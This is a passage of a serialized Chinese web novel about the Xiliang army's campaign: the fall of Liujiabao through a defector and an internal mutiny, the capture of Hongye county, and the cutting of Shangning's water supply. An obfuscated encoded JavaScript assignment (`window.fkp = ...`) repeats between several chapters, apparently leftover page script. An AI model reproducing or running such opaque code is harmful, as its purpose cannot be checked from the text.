常道卿闻言有心还想要为自己的女婿辨白几句,可最终张了张嘴不知道也不敢再说什么。这时宰相张居禄走出来说道:“陛下,阵前杀将实乃军中大忌,眼下前方战事正酣,还望陛下三思。” 常道卿见有人为自己出面求情连忙附和道:“宰相大人所言极是,还望陛下三思呀。” 一旁的曹之谦不答应了:“你家的女婿冤枉?难道就让翁将军白死了不成?” 有张居禄为自己出面,常道卿的腰杆也硬了许多,他站起身来不服气道:“御史大人,你不要在这里张嘴翁将军闭嘴翁将军的,谁不知道翁及文是你家的女婿……。” “够了!”皇帝的一声怒喝打断了两人的争执。“张太宰觉得这件事该怎么处理才是?”武经耐着性子问道。 张居禄揖首道:“为臣以为,翁将军为国捐躯不愧为三军楷模,理当对其家人好生抚恤。至于上宁城也不必过于苛责,陛下可降旨稍加训戒命其将功补过即可。” 对这些乱七八糟的事情武经实在是有些头大,闻言应允道:“嗯,就按张太宰的意思办吧。”随后一甩袖子,丢下一句“退朝”便离开了。 朝堂上的纷争很快就传到了上宁府太守韩驹这里。看着老岳丈送来的密信,又想想白天时朝庭降下的旨意,韩驹的心里一时间只觉得又气奋又憋屈,自己在这里苦苦抵抗西梁军,却有人在背后捅刀子,真是想想都觉得冤的慌。 翁及文的死就好像是在平静的湖面上投下了一颗石子,顿时激起了一层又一层的涟漪,而这看似无关紧要的涟漪转瞬间就化作了一股惊涛骇浪。 封常青率领的左路军在刘家堡久攻不下,正苦于没有良策之时,却不想从翁及文的死讯当中得到了一个契机。 月色下,一座行军大帐里的桌子上铺着一张地图,从地图上所描绘的线条可以看出这是一座军事防御工事的概略图。说是概略图,其实上面的景物描绘的还是非常细致的,细致到了每一座房屋每一堵墙甚至每一颗树的位置都标记的清清楚楚。 桌子的后面正站着一个人,此人身高八尺,肤色白净,国字脸,长眉,长髯,肩上披着一件半旧的棉布袍子。这人不是别人,正是西梁大将封常青。封常青虽是武将却天生的一张白净面皮,脸颊上总是挂着两片红晕,就好像酒至微醺的样子似的,再加上他的文采又十分出众,西梁王曾赞他文比探花,因此上得了个醉探花的称号。 此时的封常青正双眉紧锁看着眼前的地图。他已经被挡在刘家堡外好些天了,如果不能尽快的把这座军事重镇拿下来,那么孤军深入的中路军就会时刻面临被朝庭围困的危险境况。就在这时有侍卫在帐外禀报:“禀将军,中路军杨将军差人送来密信。” 封常青闻言抬头往帐外看了一眼道:“带进来。” 一名轻骑小校被领进帐来。那名校尉进帐后将一个小布包呈到封常青的面前:“见过封将军,我家将军说这里面的东西应该可以帮得上将军的忙。” 封常青打开布包,里面是一本小册子。他翻开小册子只看了一眼便立刻瞪大了双眼豁然起身道:“你家将军现在如何?” “我家将军安然无恙。”那校尉恭敬的回道。 封常青听说杨笑没事这才稍稍缓和了一下面上的表情:“杨将军若是有些许闪失的话那可真是我封某人的罪过了。”他慢慢的坐回到座位上接着问道:“你家将军还说什么了没有?” “我家将军说将军看过里面的东西后一切就都明白了。” 封常青于是又翻开那本小册子仔细的看了起来。这不看不要紧,越看封常青越是心惊,越看越是高兴,看到最后封常青拍案而起,大笑一声道:“真是得来全不费工夫。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 等一百零六回 大破刘家堡(二) 原来这本册子上记录的全都是翁及文部下的供词,从供词中得知翁及文一路南下时把刘家堡附近两三个县的兵力全都抽调走了。而这几个地方可以说就是刘家堡的大后方,现在这一带兵力空虚正是进军的大好时机。封常青立刻向帐外高声叫道:“来人!”……。 第三天一早孟龙县城头上已然飘起了西梁军的旗帜;傍晚时广元县不战而降;又过了一天泗水令举城归顺。 刘家堡是关中平原北侧的一座屯军重镇。城池依山而建,地势险要,易守难攻。这里南瞰关中平原,北承大周王朝的北地十六州,又扼守着通往圣京的一条关键通道,城里常驻有两三万兵马,是一座进可攻,退可守的军事要塞。虽然这刘家堡不能说是圣京城的西大门,却也可以说是圣京城西大门的一个门轴。 守将刘闻远,其族上三代皆是镇守刘家堡的将领,到了他这一代更是百尺竿头更进一步,坐上了刘家堡总兵的位子。刘闻远生在刘家堡,长在刘家堡,对这里的一草一木可以说全都了如指掌,经过祖孙三代的经营,早已把这座军事要塞打造的固若金汤。刘家在这一带经营了这么多年,早已是根深蒂固,自从刘闻远坐上总兵的位子后便在刘家堡内作威作福,过着说一不二的日子,可以说是土皇帝般的存在,但凡有半点不顺从的都被他打压了下去。 这天一早,刘家堡的将军府内一名偏将慌慌张张的跑了进来:“总兵大人,大事不好了,孟龙、广元、泗水三县全都被西梁军攻占了。” 在场之人闻言无不震惊,刘闻远豁然起身惊道:“什么?西梁军不是一直都在外面吗?” 那偏将跪在地上一手指着外头带着哭腔说道:“咱们都上当了,外面的只是一个空壳子,他们的大队人马早就绕到咱们的背后了。” 刘闻远又惊又怒,大声吼道:“每天放出去的探子都是干什么吃的?这三个县城怎么会如此不堪一击?为什么现在才传来消息?” 那偏将被刘闻远的吼声吓得缩了缩脖子,有些磕磕巴巴的回道:“据……据说县城里的人马都被上宁府调走了。” 刘闻远被这个消息气的肝都要炸开了,周边的几个县一直都归刘家堡管辖,上宁府连向自己知会一声都没有就把人全都调走了,这简直就是不把自己放在眼里。更重要的是孟龙、广元、泗水这三个县乃是刘家堡的大后方,是对外联络的通路,对刘家堡的安全至关重要。现在刘家堡东边和南面的地盘被西梁军攻占,这三个县的重要性就更加的突出了。在这个节骨眼上出了事,那真是把刀架到了刘闻远的脖子上,都不用打,困都能把刘家堡给困死了。 刘闻远把桌子砸的哐哐响,大声的叫骂道:“上宁府这帮狗娘养的混蛋!他翁及文不就是仗着二丈人是御史大夫吗?他朝驹不就是仗着自己的老丈人是太常令吗?他娘的凭什么调老子的人?这他妈不是把老子往绝路上逼嘛!……。” 不管刘闻远再怎么骂也是无济于事了,丢了的地盘总不会因为他骂几句就会回来。封常青把周围的几个县城全都翻了个底朝天以后,刘家堡就真的成了一座孤岛了。丢了后方的刘家堡就好像是一艘漂泊在海面上的孤舟,要是不能尽快的改变这种境况的话,堡内就要面临缺米少粮的局面,到时候说不定就要船倾人翻,淹没在西梁军的怒涛当中了。 消息一经传开,堡内上上下下立刻人心惶惶。前面咱们说了,刘闻远在这一带作威作福,打压异己,时间长了难免会有人对他心生怨恨。平常那些被他打压的人不敢吭声,可一但机会来了便少不了要跳出来兴风作浪。 这一天,天上阴云密布,入夜时更是刮起了不小的风。初春的夜风还是有些凉的,封常青依旧是披着那件旧棉衣,手里拿着一份刚刚送来的谍报,照着烛光在地图上一一对照分析着目前的局势。这份谍报似乎比较重要,封常青这一看不知不觉间夜已经深了。 “将军!抓到一个探子。”大帐外传来侍卫的声音。 “哦,带进来。”封常青只是随意的说了一声,目光并没有离开桌子上的地图。从他统兵以来每一次抓到敌人的暗探斥候他都要亲自过问,这么多年下来早已经成了习惯,他手下的亲兵侍卫们对自家将军的这个脾气秉性自然是再熟悉不过了,所以一抓到敌人的探子就送了过来,而封常青也如往常一样习惯性的命人带了上来。 桌角上的烛光猛的晃动了几下,带动着桌子上的影子也跟着一阵晃动,不过很快就又恢复了原来的样子。 不用押送的侍卫往地上摁,那人一进大帐便扑通一声跪在地上磕头道:“小人刘家堡二等车骑参将崔大年见过封将军。” 封常青把手里的谍报放在桌上,抬头看了看跪在地上的崔大年问道:“二等车骑参将?你在刘闻远那里大小也是个将领,怎么大半夜的跑到我这儿来了?” 崔大年抬起头说道:“回将军,小人是特意来投靠将军为将军引路的。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零七回 大破刘家堡(三) “哦?引路?” 这个回答显然引起了封常青的关注,他往前侧了侧身子,把一条胳膊支在桌面上缓缓的问道:“说说看,你能为我引一条什么样的路?” 崔大年从怀里掏出来一块叠的方方正正的白布,双手举过头顶说道:“这是小人画的一幅草图,请将军过目。” 旁边的侍卫接过那块白布望向封常青,封常青用眼神示意一下,那名侍卫这才把那块布打开,发现没有什么异常后便将它呈到了封常青的面前。 下面的崔大年接着说道:“图上所画的小路直通刘家堡东北角的一处小门,那个小门平时是用来进出柴草还有往外运送人畜粪便的,很少有人会愿意去那等污秽之地,那条路是小人兄弟几个偷偷往外夹带财务或者外出寻欢作乐时走的小道,一共也没几个人知道。” 封常青把身子往后靠了靠:“你特意跑来为我指这么一条路,不会是有别的什么心思在里面吧?” 崔大年闻言赶紧又爬在地上解释道:“将军明鉴。这些年刘闻远在刘家堡里作威作福,横行霸道,这一点想必相信将军是知道的。他刘闻远不知道做了多少伤天害理的事,小人兄弟几个早已对他恨之入骨。现在将军兵临城下,小人兄弟几个就想着是到了为民除害的时候了,所以……所以小人就冒险斗胆前来为将军引路。” ???????“呵……”封常青冷笑两声,似乎是不太相信他说的话:“说的真好,好一个为民除害。刘闻远就算坏了点也不至于让你对他恨之入骨吧?你还是说点实在的吧。” 崔大年好像一下子被封常青说中了自己心里的那点小九九,一时间脸上有些尴尬,他讪讪的干笑一下:“嗯……将军果然英明,还真是什么事情都瞒不过将军。”他直了下身子把屁股坐到脚后跟上,就那么跪坐在那里低着头又说道:“其……其实是因为我们几个被刘闻远那个王八蛋给打压的实在是有点喘不过气来,再这么下去非得没了活路不可。去年刘闻远就逼死了我那位兄弟的亲弟弟;他还无故霸占了我一位兄弟好多的家产;就连堡里的副总兵都被他架空了,也是敢怒不敢言……。” “那你呢?”封常青冷不丁的打断崔大年的话问一句。 崔大年抬了抬头:“我……。”然后他又低下头有些不好意思的说道:“他霸占了我最喜欢的小妾。” ?封常青闻言哈哈哈的大笑出声,大帐里的侍卫们也跟着一起大笑起来。 崔大年突然间不知道从哪里来的勇气,他挺起胸脯说道:“封将军你不要笑我,所谓冲冠一怒为红颜,我……我崔大年也是个性情中人。”只是他的勇气还是不够大,话到后边越发的有些胆怯和扭捏,越说声音越小,最后整个人又蔫了下去,这样的表现又引来众人的一阵嘲笑。 封常青很快就止住了笑声,他把一名侍卫招到身边小声的吩咐道:“你带几个人去察看一下,小心留意周围有没有埋伏。”那侍卫领命而去。 一个多时辰后那侍卫回来禀报:“那条小路却实是真的,周围几里之内都没有发现异常。” 封常青点点头,摆摆手示意那侍卫退下。 “看来刘闻远龟缩在刘家堡里是不敢出来了。”他暗自思衬了一下后向崔大年问道:“你打算什么时候带我们进刘家堡?” 崔大年一听来了精神,他拍着胸脯说道:“这几天看守那个小门的校尉是我本家的堂弟,随时都可以去。” 封赏青眯着眼睛问道:“哦?那我要是现在就去呢?” 崔大年在来之前已经设想了自己可能会遇到的千百种情况,他甚至还想到了西梁军会连话都不问一句抬手就把自己给杀了,可他千想万想也没有想到封赏青会这么干脆,干脆到现在就要去,这着实是出乎他的意料。崔大年又惊又意外,不由自主的“啊!?”了一声。 封赏青用手指轻敲着桌面望着跪在地上的崔大年问道:“怎么,有什么不妥吗?” ?那一下下敲击桌面的声音就好像敲在崔大年的心头似的,吓的他连忙把脑袋摇的跟拨浪鼓似的,生怕封常青会误会了自己的意思:“不、不、不……我只是没有想到将军会这么雷厉风行。” ?封常青点了下头沉声道:“好!传令下去,今晚攻打刘家堡。” 传令兵领命而去,崔大年也被带出了营帐。这时一个侍卫上前道:“将军,咱们就这么去吗?万一这个家伙……。” 封常青脸上挂着笑意道:“你是担心中了埋伏?” ?“也许是属下多虑了。” 封常青摆了摆手道:“不!你考虑的不无道理。刘家堡内部不合早就是明面上的事,它现在也只是仗着城坚墙高来与我们抗衡,我们现在最需要的就是进到刘家堡里面,只要能进去,那么事情就成了一大半了。不过,在这当中还是要小心一些的。”封常青说到这里用目光盯着这名贴身的侍卫问道:“你敢不敢接下这份差事呢?” 那侍卫先是愣了一下,随即便躬身抱拳道:“属下定不辱命!” 封常青叫一声:“好!事成之后,本将就向王爷请功保你连升三级。” ???????……。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零八回 大破刘家堡(四) ??……。 夜就像一块巨大的黑色幕布罩住了大地,阴云密布的天上看不到一点星光,只有月亮偶尔透过云层的薄弱处把一线亮光撒下来。月黑风高夜,杀人越货时。午夜过后正是人在一天中最困倦的时候,再加上呼啸的冷风在城头上不停的嚎叫着,值夜的士兵们又冷又困,全都缩在角落或是瑟瑟发抖或是打着盹儿。 一个值夜的士卒被夜里的寒风冻醒了,他支愣起耳朵仔细的听了听四周的动静,除了呼呼的风声外什么也听不到。那士卒用胳膊肘碰了碰身边的同伴:“诶!诶!我说老哥,咱是不是该起来到处看看呀?” 略为年长些的士卒被他弄醒后却连头都没有抬一下,反而又往一起缩了缩身子:“看什么?乌漆麻黑的看了也是白看。”由于是双臂抱膝而坐,把整张脸都埋在怀里,所以声音听起来有些闷声闷气的。 那名年轻些的士卒伸长了脖子往周围看了看,尽管他睁大了双眼努力的想要把周围的影像看的更清楚一些,但天实在是太黑了,跟前的东西还能勉强的看个大概,七八步以外就什么也看不到了。他还是有些担心道:“咱们躲在这里偷懒别再被当官的给看到了。” 那名那年长些的士卒显然并不担心这种情况会发生:“你就是多余操那份心。大半夜的,又刮着这么大的风,哪个当官的会跑出来查夜?那小娘子在被窝里它不香吗?” ……刘家堡东北角的一处城墙下,一个黑影轻轻地敲响了城门。 虽然说只是一座偏门,但那是相比于正门而言。俗话说:麻雀虽小,五脏俱全。在刘家堡这样的要塞里即便是一个偏门也是坚固无比,瓮城、闸楼、箭楼等设施一概不少。再轻的敲门声在光滑深遂的门洞里也能回荡出响亮的声音来,不过这个声音也只能局限在门洞里,一传出门洞,立刻就淹没在呼呼的北风中了。 那黑影似乎是按照约定好的暗号有节奏的敲了几下门,很快里面也传来相同的敲门声,这表示一切正常。接着城门便被打开了一道只容一人侧身通过的缝隙。从门缝里探出来半个脑袋,两个人隔着城门嘀咕了几句后那个黑影便小跑着出了门洞。不一会就有百十来个黑色的身影又进入了门洞。那百十多个黑影进入城门后立刻就把守住了城门上下的几处关键位置。不一会儿,一个黑影又从门洞里跑出来从外面带进来了更多的黑影。 ……。 城墙上那两个守夜的士卒还在用嘻笑声打发着这无聊的寒夜:“嘿嘿嘿……你是没见过那小娘子的屁股蛋是有多白。嘿呦!能把你的眼睛都给晃花唠!”年长些的士卒一脸坏笑的吹嘘着自己当年的风流事。 金钱,女人,还有权力总是最能钩起男人们的兴趣。年轻的士卒越听越觉得来劲儿,连连催促道:“后来呢?后来呢?老张头知道这事了吗?” “屁!这种事要是让那老小子知道了还不得跟老子拼命。哈哈哈……。” “砰!” 就在两个人说的正起劲儿的时候,一颗烟花在远处的夜空中炸响。那颗烟花在夜空中炸出一个特别的图案来,那是刘家堡用来告警的信号。年长的士卒猛的扭头看向那边的夜空,他挣大了眼睛,张着嘴巴看着那颗炸开的烟花,像是在跟自己说话:“完了,出事了。” 一颗烟花炸醒了整个刘家堡。 刘闻远带着几名心腹手下急勿勿的赶回将军府,不过在街道的拐角处他碰到了自己最讨厌又一时半会儿奈何不了的人:吕本忠。 吕本忠是刘家堡的副总兵,与刘闻远的土生土长不同,吕本忠是早些年朝庭从外地直接调任来的,那个时候的刘闻远还只是一介小小参将。本来该是吕本忠接替原来的老总兵的位置的,谁曾想经过同样是副总兵的刘闻远的老爹的一番运作,竟然把刘闻远扶上了总兵的位子,这让吕本忠一直都耿耿于怀。这些年来虽然一直都被刘闻远压过一头日子十分的不好过,却始终都吊着一口气让刘闻远无可奈何。直到西梁军的到来,才让吕本忠终于看到了可以翻身的机会。 这些天的局势对刘家堡十分的不妙,昨天晚上刘闻远喝了一顿闷酒后就到一个老相好那里过夜。在那相好的身上一顿发泄后总算是得到了些许的慰籍,谁知道连在美人儿怀里好好睡一觉的时间都不给他,刘闻远难免的有些恼火。 本来就没好气的刘闻远一转弯又遇到了自己最讨厌的人,那股无名的业火就更别提了。不等刘闻远发难,吕本忠反倒先开口了:“哟!这不是刘总兵嘛?刘总兵急勿勿的这是要去哪儿啊?” 刘闻远一听吕本忠一反常态的口气立刻感觉到事情的不同寻常,这时候他反而冷静了下来:“吕本忠,你没听到告警吗?本将现在有要紧的事情,没时间跟你打嘴官司,快回到你的位置上去!” 吕本忠对刘闻远的话充耳不闻:“都这个时候了你还在耍你的总兵威风。” 刘闻远目光一凝:“是你搞的鬼?” ?“不错!刘闻远,今天晚上就是你的末日!”说话间吕本忠仓啷一声抽出了腰间的配刀,他身后的几人也跟着抽刀出鞘。 刘闻远身边的亲信见势不妙也立刻抽出了刀来:“吕本忠!你要造反不成?” 吕本忠冷笑一声道:“造反?哈哈哈……老子这是弃暗投明!”吕本忠大笑一声挥手道:“兄弟们,报仇的时候到了,给我上!”说完便率先挥刀扑向了刘闻远等人。 另一边,刘闻远及其手下的亲信也立刻挥刀相向,双方立刻在一起撕杀起来。 西梁兵从城门蜂拥而入,入城后他们立刻兵分两路,一路登上城墙,一路直扑城中的将军府,一时间整个刘家堡都充满了刀光剑影。而将军府门前的大街上,刘闻远与吕本忠两方的人都杀红了眼,就在双方杀的难解难分之时,阵阵喊杀声从街道的那一边传来。 刘闻远甩脱了对手向街道的尽头处望去,只见街道的那一头有许多人打着火把向这边涌来,火光中不断的有人大喊道:“活捉刘闻远!拿下刘家堡!”这显然是西梁军杀了过来。 ?刘闻远回过头对吕本忠怒目相向道:“你果然把西梁兵给放进来了,难道就不怕被诛灭九族吗?” 吕本忠冷哼道:“哼!朝庭能不能保得住还不知道呢,哪个来诛老子的九族!刘闻远,今天就是你的死期。杀!” 刘闻远见大势已去,哪里还会与吕本忠纠缠,选了个方向就往城外逃去。至此,阻挡了西梁军一个多月的刘家堡彻底的被西梁军攻克了。 ??? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百零九回 家书抵万金 ?阳春三月的关中平原,原本该是春暖花开的时节,可今年的春天来的似乎有些晚,这天清晨更是下起了淅淅沥沥的小雨。晨曦透过铅灰色的阴云伴着小雨洒在大地上,让本就有些阴冷的天气显的更加的湿冷了。 一场倒春寒。 不过说起这场倒春寒,咱们还得翻过台阶山从半个月前说起。 狄绒族境内一处不知名的小镇。小镇上的房屋十分的简陋,但这并不能妨碍小镇的热闹繁华。狄绒族向来以游牧为主,牧民们逐水草而生,基本上不会在一个地方待太长的时间,定居就更谈不上了。不过这个小镇却不一样,靠着镇子后面大山里的特产,这里的人们逐渐的摆脱了传统的游牧生活,过上了经商定居的日子。 当清晨的第一缕阳光照在大地上时,小镇上的居民们便开始了一整天的忙碌。 在小镇的东头,有一家早餐店,店铺的东家是一对约么四十来岁的夫妻,夫妻俩都是实实在在的老实人,做出来的早餐味美价廉,在不大的镇子上,这家早餐店的口碑那是出了名的好,这不,早上刚一开门,店门前就挤满了来买早餐的顾客。这些买早餐的顾客大多数都是买完后直接带走回家吃,相比而言,留在店里吃的只占一小部分,即便是这样也依旧是把不大的早餐店给挤的满满当当的。 一个光着膀子,背上画满了画的光头大汉正在那里低着头大口大口的吃着刚买来的早餐。也不知道是早餐十分的和他的口味,还是这大汉本就味口极好,一顿普普通通的早餐竟然让他吃出了山珍海味的架势,以至于对那滚烫的汤汁也毫不在意。 正大口朵颐间,那大汉忽然停止了手上的动作,嗓子里“嗯?”了一声。只见他把一口饭含在嘴里,抬头向一个方放望去。那边除了一堵墙外什么也没有,可那大汉依旧望的出神,似乎是能透过那堵墙看到很远的地方。大汉望着那堵墙愣了一会儿神,然后把含在嘴里的饭一口咽下,又随手把早餐钱丢在桌上便起身勿勿的离开了。 大汉出了早餐店拐入一个无人的小巷,三两步迈出就凭空的消失在小巷里。 数百里外的高空中,大汉的身影一闪出现在云头之上。那大汉站在云头上向前方定睛望了望,抬脚就要往前走,这时一对青年男子迎面而来。那两个青年的脚下都踩着一片硕大的绿叶,绿叶发出淡淡的光芒将两个青年托在空中。 青年来到那大汉跟前躬身道:“前辈,我家长老在前方设坛作法,还请前辈不要打扰。” 那大汉看了一眼面前的两个青年,把眉毛一横,他冷声道:“小小灵台境也敢拦我,闪开!” 两个青年对视一眼却并没有挪动脚步:“还请前辈不要为难我等。” 那大汉闻言冷哼一声抬手把二人挥开就要硬往前闯,这时一名妇人从天而降,缓缓的落到大汉的面前。那妇人的年龄与那大汉相仿,中上之姿,穿一身翠绿锦衣。 大汉见又有人阻拦,脸上神色又冷了几分,不过在他看清楚来人之后,脸色又缓和了一点。那大汉开口道:“翠倚?” 那被唤作翠倚的妇人微微一笑回道:“图山兄别来无恙?” 那两个青年见到那妇人后连忙退到一边向妇人深深一拜道:“见过师尊。” 翠倚抬手示意二人免礼,转而对那被称作图山的汉子说道:“图山兄,我家师尊正在前方作法,图山兄还是不要打扰的好,免得惹他老人家不高兴。” 图山皱眉道:“这里可是我黄沙堡的地盘。” 翠倚对图山的话毫不在意:“我知道。” “你们无缘无故跑到我黄沙堡的地盘上施法扰乱世俗,也太不给面子了吧?”图山对她的回答显然不满意。 翠倚“呵”了一声:“无缘无故吗?不如你先回去问问你家堡主,看他怎么说。” 图山抿了下嘴唇皱着眉头没有说话,但也没有要走的意思。翠倚看着他的样子心里冷笑一声干脆闪到一旁把路让开:“图山兄还要过去吗?” 图山在心里思忖一番,一甩手冷冷道:“哼!后会有期!”说着就气哼哼的走了。 没过一会儿,原本徐徐的清风似乎是翻了脸一般转瞬间就变成了呼啸的狂风,天上的朵朵白云也变成了乌云,乌云在狂风中剧烈的翻滚着,越滚越多,很快就布满了整个天空,接着鹅毛般的大雪就纷纷扬扬的下了起来。 大雪一直下了几天几夜,让刚刚泛出一点绿色的草原又变回了银装素裹。天气一下子冷到不可思议,寒风大雪中不知道有多少牛羊和牧民会冻饿而亡……。 咱们再说回到杨笑。在封常青攻打刘家堡的时候杨笑也没有闲着,在夜色的掩护下西梁军对宏冶县发动了突然袭击。宏冶县是上宁府北面的一座县城,有一条河流经宏冶县流入上宁城。上宁城内的饮水和漕运大多都是靠着这条河水来的,因此控制了这座县城就等于是控制上宁城大半的水源。也正是因为这个原因,宏冶县便当之无愧的成为了上宁府北大门。 防守宏冶县的是一位名叫武万昌的五品都尉,此人治军严明,作战勇猛,在上宁府的大小武将之中乃是一个不可多得的人才。只是此人对朝廷的忠心也是实属罕见,可以说是死忠于朝廷,杨笑爱惜其才能,几次招降都被其拒绝不说,为了与西梁划清界限,武万昌甚至杀了杨笑派去送招降书的一名士卒。万般无奈之下杨笑只好强攻宏冶县。 经过一整夜的激战,终于拿下了宏冶县。 清晨时,杨笑踩着沾满鲜血的瓦砾一步一步的查看着战后的县城。当杨笑见到武万昌的时候,他已是身中数刀,重伤在身。可即便是这样,在见到杨笑的那一刻武万昌依然是立刻破口大骂,虽然重伤之下骂的有气无力,但这份气节实在是令人不得不钦佩。对于武万昌的唾骂杨笑非但不生气,反而好生安慰他安心养伤,还允许武万昌的妻儿老小来照顾他。 安置完武万昌后,杨笑蹬上宏冶县的城头。雨在这时候下的又紧了几分,杨笑提了提肩上的蓑衣,望着地平线上的那一团昏黄色的亮光,那是初升的太阳透过层层阴云散下来的晨曦。阳光预示着太平安康,但阴雨告诉杨笑这一切来的都不会顺畅。 一名校尉的声音打断了杨笑的思绪:“将军,抓到一个探子。” 杨笑回头时那校尉已经让人把抓到的探子带了上来。那是一个看起来老实巴交的乡下青年,青年大约是被吓到了,眼神里充满了惶恐,当他被按着跪在杨笑跟前时可以明显的看出他的全身都在颤抖着。 那青年跪在地上惶恐而又茫然,只知道在嘴里不停的重复着:“我不是探子,我是冤枉的,我不是探子,我是冤枉的……。”当他想要抬头看一下立在面前的男子时立刻就被一旁的士兵狠狠的把脑袋又给按了下去。 “将军,此人在城外鬼鬼祟祟,说不定是朝廷的探子,这是从他身上搜到的东西。”那士卒躬身把一个信封举过头顶向杨笑。 杨笑把视线从那青年的身上挪开,接过那封书信看了看。那是一封家书,信中家人听说最近的战事很紧张,家里人都很惦记在前方驻防亲人的安危。还说最近的天气又变冷了,怕自己的亲人衣服不够穿,为其新缝制了一套御寒的衣服。 杨笑看完书信后心情忽然有些沉重,这封家书让他想起了古人的一首诗来,眼前的场景与诗中的场景何其的相似。仅仅差了一个晚上,这封寄来的家信恐怕那位驻防的士卒再也看不到了;信中提到的那件缝制的御寒衣服,可能再没有人来收取它了。此时此刻,也许那位士卒的尸骨就抛掷在昨夜的战场上,他再也不需要寒衣,再也不会感受到亲人的眷念之情了,而家人却仍翘首以待,等待他的回信,等待他报以平安,等待他某一天从战场归来……。 杨笑把信折好放回到信封里,吩咐道:“找到信里的这个人,不论结果如何都给他的家人回一封信。哦,对了,让他把信带回去。” 那青年被人带了下去。杨笑转身又望向远处的天边,他在心里默默的祈祷了一句:“但愿那人还活着。”望着与阴云连成一片的地平线,杨笑不由的吟诵起了那首古人的边塞诗: ???????夜战桑乾北, ???????秦兵半不归。 ???????朝来有乡信, ???????犹自寄寒衣。 预知后事如何,且听下回分解! ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十回 水淹上宁城 由于封常青一举荡平了刘家堡及其周边地域,与杨笑的中路军基本上形成了齐头并进的形势,而大公子的右路军虽然进展慢了些,但好在有潮天河的阻隔,这样一来,杨笑孤军深入的局势算是彻底的得到了解决,终于可以放开手脚攻打上宁府了。 宏冶县的北面有一座金鸦湖。金乌湖湖水清澈无比,宽广的湖面上烟波浩渺,在阳光的照耀下泛起无边无际的粼粼波光,遥遥望去一片碧水蓝天尽收眼底。相传曾有人在湖边见到一只三足金乌在湖中梳洗羽毛,只是片刻的功夫就把偌大的一个湖泊给蒸发掉一大半,因此上得了“金鸦湖”这么个名字。传说多半不会是真的,就算是真有金乌曾在湖中洗浴,短短时间内就蒸发掉了一半的湖水,那得要何等的烈火?那等赤热的温度,那个在湖边见到金乌洗浴的人还不早就让雄雄烈焰给化成了灰烬?又哪有机会给他到处向人诉说金乌洗澡时的样子。 话虽然是这么说,但金乌湖也确实是一座不小的湖泊。四周有三四条大小河流汇人湖中,然后又在湖的南面合成一条大河流出,大河一路蜿蜒南下,穿过上宁府流入了潮天河。 在金乌湖的出口处修建有一座巨大的水闸,用来控制湖水的出入量,以防止每年汛期时的洪水对下游造成危害。前面咱们说了,宏冶县控制着上宁府大半的用水和糟运,就是通过这座水闸来实现的。杨笑占领宏冶县后,立刻命人放下水闸截断了上宁府的水源。上宁府被西梁军围困了这么长时间,城里的粮草本来就有些紧张,现在又被断了水源,全城上下立刻陷入了恐慌之中。 上宁城外,原本宽阔的护城河现在却是一幅马上就要见底的样子。城墙上那面早已被雨水浇透了的韩字大旗,就像一只落汤鸡一般苶头苶脑的耷拉在旗杆上,任凭寒风夹带着雨水肆意的吹打着也不愿意晃动那怕是一下。杨笑站在雨中远远的看着上宁府的城墙,良久之后他哀叹一声:“可怜了这一城的百姓啊!” 说到这一声哀叹还要从几天前讲起。数日前,杨笑屏退左右护从孤身一人来到城墙下,他还想尽一下最后的努力,希望能说服韩驹开城归降。常言道:攻心为上,攻城为下。若是采取强攻,无论用什么办法,城破之日都难免要有一场血流成河。 得到侍卫通报勿勿赶来的韩驹在高高的城墙上与杨笑隔着一条护城河相对而立。“杨将军好大的威风呀!”太守韩驹首先开口道。 杨笑回道:“全赖众将士相助。” “好一个众将士相助!哼哼,说到底还不是沾了你那老婆的光,吃了碗软饭而已。”韩驹讥讽道。 面对韩驹的讥讽杨笑不为所动:“韩太守难道不为满城的百姓再想一想吗?” 韩驹怒目相对道:“你少在这里假惺惺的,真要是为黎民百姓着想的话西梁王就不该造反!” 杨笑反问道:“难不成让我等引颈待戮,叫那昏君任杀任剐?” 韩驹回道:“那也比把天下的百姓置身于水深火热中的好。” 杨笑说道:“你有没有想过,如果不是西梁王的话,天下的百姓早已是人家嘴边上的肉了!?水深火热?天下百姓早已在水深火热之中煎熬多年了!” “难道这就是尔等大逆不道的借口?”韩驹质问道。 “王爷这是要救天下于水火之中。”杨笑说道:“杨某也是一片苦心,还望韩太守……。” 不等杨笑说完韩驹就打断了他的话:“你不用再枉费口舌了,我上宁府的将士们是不会向你等贼子屈服的!我劝杨将军还是离远一些的好,免得我手下之人忍不住向你放冷箭,到时候要是伤到杨将军的话,五公主那里我可不好交待。”韩驹身边之人闻言全都哈哈大笑起来。 杨笑冷笑一声:“韩太守大可以试试。”说完端坐虎背之上,目光直视城楼上的韩驹。 